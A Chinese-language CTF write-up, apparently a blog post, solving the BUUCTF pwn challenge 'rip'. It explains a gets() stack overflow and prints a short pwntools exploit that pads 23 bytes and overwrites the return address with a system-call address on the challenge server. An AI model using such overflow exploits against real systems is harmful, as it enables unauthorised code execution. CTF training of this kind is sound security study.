[buuctf pwn]rip

先checksec一下,64位,没开栈溢出保护

image-20240717101208182

进ida看一下,有个gets,s是15个字符

image-20240717101642605

然后还有另一个fun()函数

image-20240717101751444

image-20240717101811590

现在我们就可以利用栈溢出

用15个字符先填满函数缓冲区,然后用8个字符(64位)填满缓冲区下面的rbp区域,再下面就是返回地址了,我们把它填成system命令的地址0x40118A

EXP如下

from pwn import *
p=remote('node5.buuoj.cn',27826)
p.sendline(b'A'*23 + p64(0x40118A))
p.interactive()

执行后用ls指令,然后用cat指令读取flag文件,即可得到flag

posted @ 2024-07-17 10:23  yee-l  阅读(82)  评论(0)    收藏  举报